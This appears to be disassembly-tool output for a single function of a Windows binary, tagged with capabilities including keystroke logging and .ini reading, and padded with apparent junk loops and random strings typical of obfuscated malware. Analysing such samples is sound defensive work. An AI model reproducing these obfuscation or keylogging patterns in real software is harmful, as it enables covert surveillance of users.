Function at 0x10011124
Capabilities:
Get common file path
Log keystrokes
Read .ini file

Disassembly:
mov eax, 0x10064ee8
call fcn.100641f8
sub esp, 0x2f8
push ebx
mov dword [ebp - 0x18], 0xfffffffc
xor ebx, ebx
push esi
mov dword [ebp - 0x24], 0x6c68
cmp dword [ebp - 0x24], 0x6dca
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xcc], edx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x1d8], ebx
jle 0x10011194
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov esi, ebx
mov edi, esi
mov ebx, 0x5725
mov eax, edi
mov ecx, 0x10081de8
cdq
push edx
push eax
call fcn.1000d012
dec edi
dec ebx
jne 0x10011178
inc esi
cmp esi, 0x6592
jl 0x10011171
mov dword [ebp - 0x2c], 0x4351cdcb
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x24], 0x68fa
jge 0x100111b6
mov edx, str.udq_cbhounsl_bpily_ebhv_tgi_jphvkmvk_akoh_doivzwlz
mov ecx, 0x10081de8
call fcn.1000ff9e
or dword [ebp - 4], 0xffffffff
push 2
lea ecx, [ebp - 0x17c]
call fcn.10001d4c
mov dword [ebp - 4], 2
mov dword [ebp - 0x24], 0x5231fbf6
mov dword [ebp - 0x18], 0x2479
cmp dword [ebp - 0x18], 0x25d3
jle 0x10011233
push 0x1e8c
push 0x1e7f
push 0x1c23
push 0x14a4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x10081de8
cdq
push edx
push eax
call fcn.1000d012
inc edi
cmp edi, 0x16c9
jl 0x10011211
inc esi
cmp esi, 0x4066
jl 0x1001120f
mov byte [ebp - 4], 3
cmp dword [ebp - 0x18], 0x222a
jge 0x10011292
mov edx, str.iqenwmfg_kcdg_rjqcg_gjx_bemzxzmz_zech_uotuim_rnlna_cbjfdnzct
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10011292
mov dword [ebp - 0x28], ebx
jmp 0x100112aa
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x17c]
mov dword [eax + ecx*4], 0xe64f1479
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10011297
mov dword [ebp - 0x28], ebx
jmp 0x100112c6
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1d4], 0xfffffff8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x100112b5
mov dword [ebp - 0x28], ebx
jmp 0x100112e2
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x140], 0x7c69
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x100112d1
mov eax, dword [ebp - 0x140]
xor edx, edx
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x140]
mov eax, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], 0xffffffff
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x17c]
setle dl
xor ecx, ecx
cmp edx, dword [eax + 4]
setg cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
lea ecx, [ebp - 0x17c]
setg dl
xor eax, eax
cmp dword [ebp - 0x30], edx
setg al
mov dword [ebp - 0x1d0], eax
or dword [ebp - 4], 0xffffffff
call fcn.10001d88
push 3
lea ecx, [ebp - 0xb0]
mov dword [ebp - 0x70], 0xe01d503
mov dword [ebp - 0x6c], 0x33060302
mov dword [ebp - 0x68], 0x26003d04
mov word [ebp - 0x64], 0x2b05
call fcn.10001d4c
mov dword [ebp - 4], 5
mov dword [ebp - 0x18], 0xe2236432
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x18], ebx
jmp 0x100113b4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb0]
mov dword [eax + ecx*4], 0xb9b55bb2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100113a1
mov dword [ebp - 0x18], ebx
jmp 0x10011477
push 3
lea ecx, [ebp - 0x158]
call fcn.10001d4c
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x2c], ebx
jmp 0x100113ee
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x158]
mov dword [eax + ecx*4], 0xac9d73df
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x100113db
mov dword [ebp - 0x24], 0x260417be
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax + ecx*4]
neg eax
cmp eax, dword [ebp - 0x24]
jle 0x1001143f
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x18]
cmp dword [ebp - 0x24], 0xedad94e8
mov eax, dword [ebp - 0xb0]
sbb ecx, ecx
add ecx, 0xffff0cb6
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [eax + edx*4]
jne 0x1001143f
mov esi, ebx
jmp 0x10011442
xor esi, esi
inc esi
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x1c]
add eax, dword [ecx + edx*4]
lea ecx, [eax + esi]
mov eax, dword [ebp - 0x158]
mov dword [eax + 4], ecx
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x158]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x1c]
call fcn.10001d88
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x100113c2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb0]
call fcn.10001d88
push 0x62
pop eax
push 3
lea ecx, [ebp - 0x170]
mov word [ebp - 0xf2], ax
call fcn.10001d4c
mov dword [ebp - 4], 6
mov dword [ebp - 0x18], 0x39d6b9c2
mov dword [ebp - 0x2c], 0x86992f1e
mov dword [ebp - 0x1c], 0x7ac3
cmp dword [ebp - 0x1c], 0x7ce5
jle 0x10011519
push 0x1ad9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x24], 0x2d1
mov eax, ebx
mov ecx, 0x10081de8
or eax, edi
cdq
push edx
push eax
call fcn.1000d012
add ebx, esi
dec dword [ebp - 0x24]
jne 0x100114ec
inc esi
push 0
pop ebx
cmp esi, 0x516d
jl 0x100114e2
inc edi
cmp edi, 0x965
jl 0x100114e0
mov dword [ebp - 0x24], 0xffffffff
mov byte [ebp - 4], 7
cmp dword [ebp - 0x1c], 0x7773
jge 0x1001155a
mov edx, str.rpytzi_qsmspac_qczffrf_dmuj_pthhqgolz_qczuepoet_ruvhilnbh
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x1001155a
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x30], 1
push 3
call fcn.10001d4c
mov byte [ebp - 4], 9
mov dword [ebp - 0x30], 0x9a984365
mov dword [ebp - 0x30], 0x47073e70
mov dword [ebp - 0x28], 0x229b
cmp dword [ebp - 0x28], 0x266a
jle 0x100115e8
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x24], 0x4176
mov dword [ebp - 0x30], ebx
mov eax, esi
mov ecx, 0x10081de8
or eax, ebx
or eax, edi
cdq
push edx
push eax
call fcn.1000d012
inc ebx
cmp ebx, 0x1b2d
jl 0x100115ab
dec esi
dec dword [ebp - 0x24]
push 0
pop ebx
jne 0x100115a8
mov esi, dword [ebp - 0x1c]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x585f
jl 0x1001159e
inc edi
cmp edi, 0x71f6
jl 0x10011599
mov dword [ebp - 0x1c], ebx
jmp 0x10011600
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x170]
mov dword [eax + ecx*4], 0x8be135e1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100115ed
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x28], 0x1f94
jge 0x10011640
mov edx, str.wkbgg_clk_uojws_yks_kjzu_xaqyo
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10011640
mov dword [ebp - 0x1c], ebx
jmp 0x10011658
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x11c]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10011645
mov esi, dword [ebp - 0x170]
cmp dword [esi + 4], ebx
jne 0x1001169e
mov dword [ebp - 0x18], ebx
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov ecx, 0xc5ec62bb
setg dl
xor eax, eax
test edx, edx
sets al
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp dword [esi + 4], eax
jge 0x1001169a
cmp dword [ebp - 0x18], ebx
jne 0x1001169e
mov ecx, ebx
jmp 0x100116a1
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, dword [esi + 4]
setne al
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
je 0x100116b6
xor ecx, ecx
inc ecx
jmp 0x100116b8
mov ecx, ebx
xor eax, eax
cmp ecx, dword [esi + 4]
setne al
cmp eax, 0xfffffffb
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x11c]
neg eax
sbb eax, eax
neg eax
mov dword [ecx + 8], eax
jne 0x100116e0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ecx + 8]
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xffffb2ba
call fcn.10001d88
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.10001d88
push 2
pop esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xe
jae 0x10011826
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xfffffffe
jge 0x100117db
mov dword [ebp - 0x2c], 0x2c46
cmp dword [ebp - 0x2c], 0x2edc
jle 0x1001179b
mov edx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x288]
or eax, edx
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001175f
mov eax, dword [eax]
push eax
call fcn.1004c39e
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x288]
call fcn.1000205a
mov edx, dword [ebp - 0x24]
inc esi
cmp esi, 0x6b22
jl 0x1001173f
inc edi
cmp edi, 0x507b
jl 0x1001173d
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x59ed
jl 0x1001173b
call dword [sym.imp.USER32.dll_GetCapture]
mov byte [ebp - 0x1d], bl
cmp dword [ebp - 0x2c], 0x2891
jge 0x100117b2
push str.uumdyqazq_wzvusrci_zciiihdn_oioyw
call fcn.1004c39e
pop ecx
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x1d], 0
je 0x100117c3
push ebx
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100117d3
push ebx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
dec dword [ebp - 0x18]
jmp 0x1001171c
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100117f0
push 0x26aa
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov esi, dword [ebp - 0x1c]
mov eax, esi
sub eax, ebx
movzx edx, byte [ebp + esi - 0x6f]
movzx eax, byte [ebp + eax - 0x72]
movzx eax, word [ebp + eax*2 - 0xf8]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
add esi, 2
mov word [ebp + eax*2 - 0xf8], cx
jmp 0x1001170a
xor eax, eax
mov dword [ebp - 0x1a8], 7
mov word [ebp - 0xea], ax
lea ecx, [ebp - 0x1bc]
mov word [ebp - 0x1bc], ax
lea eax, [ebp - 0xf8]
push eax
mov dword [ebp - 0x1ac], ebx
call fcn.1000d26b
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x2c], 0x53b26bdd
push 1
call fcn.10001d4c
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x30], 0xda78
mov dword [ebp - 0x18], ebx
jmp 0x10011896
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xa4]
mov dword [eax + ecx*4], 0xae5a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10011883
mov dword [ebp - 0x2c], 0x16
cmp dword [ebp - 0x2c], 0xffffffe5
jle 0x10011bff
mov dword [ebp - 0x1c], 0x94f934f5
mov dword [ebp - 0x18], ebx
jmp 0x100118c7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x78], 0x2cfb6318
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100118b9
mov dword [ebp - 0x78], ebx
cmp dword [ebp - 0x78], 0xfffffffb
jle 0x10011b8a
mov dword [ebp - 0x28], 0x5b7f37c0
mov dword [ebp - 0x18], 0x9ae86a67
mov dword [ebp - 0x18], 0x2a74db50
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x100119c9
mov byte [ebp - 0x1d], bl
mov dword [ebp - 0x18], 0x4722
cmp dword [ebp - 0x18], 0x482f
jle 0x1001196d
push ebx
push 0xc24
push 0x642
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
xor eax, esi
mov ecx, 0x10081de8
xor eax, edi
cdq
push edx
push eax
call fcn.1000d012
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x7704
jl 0x10011936
inc esi
cmp esi, 0x7cf1
jl 0x10011931
inc edi
cmp edi, 0x5702
jl 0x1001192f
call dword [sym.imp.USER32.dll_GetMessageTime]
cmp byte [ebp - 0x1d], 0
je 0x10011979
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x18], 0x45b8
jge 0x100119b3
mov edx, str.mupmgwno_glnhwup_gwg_ckainjdnf
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x100119b3
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x1c], 0xead9bacc
dec dword [ebp - 0x28]
jmp 0x100118f2
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x10011b82
mov dword [ebp - 0x24], 0xa48a2b8e
mov dword [ebp - 0x18], 0x58163090
mov dword [ebp - 0x34], 0x4f3a
cmp dword [ebp - 0x34], 0x5010
jle 0x10011a31
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x1c], 0x7c1f
mov dword [ebp - 0x18], eax
mov edi, ebx
or eax, edi
mov ecx, 0x10081de8
cdq
push edx
push eax
call fcn.1000d012
mov eax, dword [ebp - 0x18]
inc edi
cmp edi, 0x74a9
jl 0x10011a03
add eax, esi
dec dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
jne 0x10011a01
inc esi
cmp esi, 0x128b
jl 0x100119f5
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x10011b39
push 9
pop edi
push 1
lea ecx, [ebp - 0x128]
call fcn.10001d4c
xor esi, esi
mov dword [ebp - 0x18], ebx
inc esi
jmp 0x10011a68
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], 0xcda6a44f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10011a55
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10011a83
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa4]
cmp dword [eax + ecx*4], ebx
jne 0x10011ae3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x28], eax
je 0x10011ab0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x28], ebx
je 0x10011ac8
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa4]
cmp dword [eax + ecx*4], ebx
mov eax, esi
jne 0x10011aca
mov eax, ebx
mov ecx, dword [ebp - 0x28]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x78]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
mov ecx, ebx
setl dl
sub edx, eax
je 0x10011ae5
mov ecx, esi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa4]
cmp dword [eax + ecx*4], ebx
je 0x10011b10
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa4]
cmp dword [eax + ecx*4], ebx
jne 0x10011b12
mov esi, ebx
cmp edi, esi
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
lea ecx, [ebp - 0x128]
call fcn.10001d88
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10011a40
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x34], 0x4b8d
jge 0x10011b73
mov edx, str.csnpm_qpfw_pdeuw_gevwafhvg
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10011b73
mov dword [ebp - 4], 0xf
dec dword [ebp - 0x28]
jmp 0x100119cc
dec dword [ebp - 0x78]
jmp 0x100118d0
mov dword [ebp - 0x1c], ebx
jmp 0x10011bf1
push 1
lea ecx, [ebp - 0xdc]
call fcn.10001d4c
mov dword [ebp - 0x18], ebx
jmp 0x10011bb1
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xdc]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10011ba1
mov eax, dword [ebp - 0xdc]
mov dword [eax], ebx
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp + eax*4 - 0x78], ecx
mov eax, dword [ebp - 0xdc]
dec dword [eax]
jns 0x10011bbf
lea ecx, [ebp - 0xdc]
call fcn.10001d88
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x10011b8f
dec dword [ebp - 0x2c]
jmp 0x100118a3
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 0xe
call fcn.10001d88
mov eax, ebx
mov dword [ebp - 0x2c], ebx
cmp eax, 8
jae 0x10012016
push 4
lea ecx, [ebp - 0xbc]
call fcn.10001d4c
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x34], 0x1061
cmp dword [ebp - 0x34], 0x1201
jle 0x10011ca9
push ebx
push 0xf3e
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
xor eax, ecx
lea ecx, [ebp - 0x258]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10011c73
mov eax, dword [eax]
push eax
call fcn.1004c39e
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x258]
call fcn.1000205a
mov ecx, dword [ebp - 0x24]
inc esi
cmp esi, 0x1139
jl 0x10011c56
inc edi
cmp edi, 0x59a7
jl 0x10011c54
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x3839
jl 0x10011c52
mov dword [ebp - 0x28], 0xfffffff9
cmp dword [ebp - 0x34], 0xf41
jge 0x10011cc4
push str.mxgyvws_ygapafsop_hzychjdg_bofcemgs_nvb_oaiq
call fcn.1004c39e
pop ecx
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x1c], ebx
jmp 0x10011ce0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xbc]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10011cd0
mov dword [ebp - 0x1c], ebx
jmp 0x10011cfc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x98], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10011ceb
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], ebx
jl 0x10011ecf
mov dword [ebp - 0x1c], 0x4b25b3b9
mov dword [ebp - 0x3c], 0x4e2b79dc
mov dword [ebp - 0x18], ebx
jmp 0x10011d36
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x238], 0xa6f9a4d9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10011d25
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10011d76
push ebx
push 0xd07
push 0xe21
push 0x15c8
push 0x462
push 0x1f1e
push 0x2166
push 0x933
push 0x6bc
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x18], 0x6c85
cmp dword [ebp - 0x18], 0x7014
jle 0x10011dd6
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov ecx, esi
mov dword [ebp - 0x30], edi
mov esi, edi
mov dword [ebp - 0x38], ebx
shl esi, cl
mov edi, ebx
mov eax, esi
mov ecx, 0x10081de8
and eax, edi
cdq
push edx
push eax
call fcn.1000d012
inc edi
cmp edi, 0x6f0
jl 0x10011d9e
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x4a90
jl 0x10011d90
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x64e4
jl 0x10011d8b
mov dword [ebp - 0x1c], ebx
jmp 0x10011e7c
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xbc]
cmp dword [eax + ecx*4], ebx
jne 0x10011e86
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0xbc]
mov edx, dword [ebp - 0x1c]
cmp dword [eax + ecx*4], 8
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xc5ec
mov eax, dword [ebp - 0xbc]
setne cl
imul edx, dword [eax]
mov eax, dword [ebp - 0x1c]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0xbc]
setg cl
sub ecx, dword [edx + esi*4]
neg ecx
sbb ecx, ecx
or eax, 0xffffffff
inc ecx
sub eax, ecx
xor ecx, ecx
cmp eax, dword [edx + edi*4]
setl cl
mov dword [ebp - 0x98], ecx
test ecx, ecx
jne 0x10011e5e
cmp dword [ebp - 0x1c], ebx
jne 0x10011e5e
mov eax, ebx
jmp 0x10011e61
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x1c]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x230], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x10011dde
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x18], 0x6a3f
jge 0x10011ec0
mov edx, str.ojfnp_mhhhkuzt_wvjwlau_fgp_cyiq_mwivn_uqngmm_buggvpcnr_uqkb_zdbiv_vdkhj_jzwnlvj
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10011ec0
mov dword [ebp - 4], 0x14
dec dword [ebp - 0x28]
jmp 0x10011d09
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], 1
jge 0x10011f76
mov dword [ebp - 0x34], 0xc9c
cmp dword [ebp - 0x34], 0xf08
jle 0x10011f45
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
cdq
lea ecx, [ebp - 0x2e8]
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10011f0b
mov eax, dword [eax]
push eax
call fcn.1004c39e
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2e8]
call fcn.1000205a
inc esi
cmp esi, 0x33e2
jl 0x10011ef0
inc edi
cmp edi, 0x455a
jl 0x10011eee
push 0x126b2
push 0x132f8
call fcn.1002bafb
pop ecx
pop ecx
call eax
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x98], 1
cmp dword [ebp - 0x34], 0x9d2
jge 0x10011f67
push str.nskqwjgp_rnhg_euhdb_uteu_mtwkytpqn_xplc_bldnc_fnowz_frokrz_tekr_liupvpoar_vhvac_ufqokih_rsmapc
call fcn.1004c39e
pop ecx
mov dword [ebp - 4], 0x14
inc dword [ebp - 0x28]
jmp 0x10011ed2
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0xe
call fcn.10001d88
mov dword [ebp - 0x34], 0x6550
cmp dword [ebp - 0x34], 0x67ac
jle 0x10011fbc
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10081de8
and eax, esi
cdq
push edx
push eax
call fcn.1000d012
inc edi
cmp edi, 0x7882
jl 0x10011f99
inc esi
cmp esi, 0x6d9b
jl 0x10011f97
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x34], 0x62db
mov word [ebp + eax*2 - 0xf8], cx
jge 0x10012003
mov edx, str.mcols_piakyslz_mvffzarsj_usajbre_hlsqoqsn_omnn_rwwb_rfvrwoj_vnr_ghvqkjyqc_qof_cihvad_hbbzax_fiicgp
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10012003
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x2c], eax
jmp 0x10011c13
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x1fc]
call fcn.10001cd7
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x18], 0xbacd
push 2
call fcn.10001d4c
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1001205a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14c]
mov dword [eax + ecx*4], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10012047
mov dword [ebp - 0x1c], ebx
jmp 0x10012072
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x134], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10012065
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jne 0x10012089
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14c]
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x134], 0x1dab9737
je 0x100120bd
cmp dword [ebp - 0x134], ebx
je 0x100120bd
xor edi, edi
inc edi
mov eax, edi
jmp 0x100120c2
xor edi, edi
mov eax, ebx
inc edi
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x14c]
call fcn.10001d88
mov dword [ebp - 0x24], 0xc7555b7c
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x34], 0x678e045
push 3
call fcn.10001d4c
push 3
mov dword [ebp - 0x18], 0x89b4
mov dword [ebp - 0x28], ebx
pop edx
jmp 0x1001210e
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x88], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x10012101
mov dword [ebp - 0x28], ebx
jmp 0x1001212b
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x164]
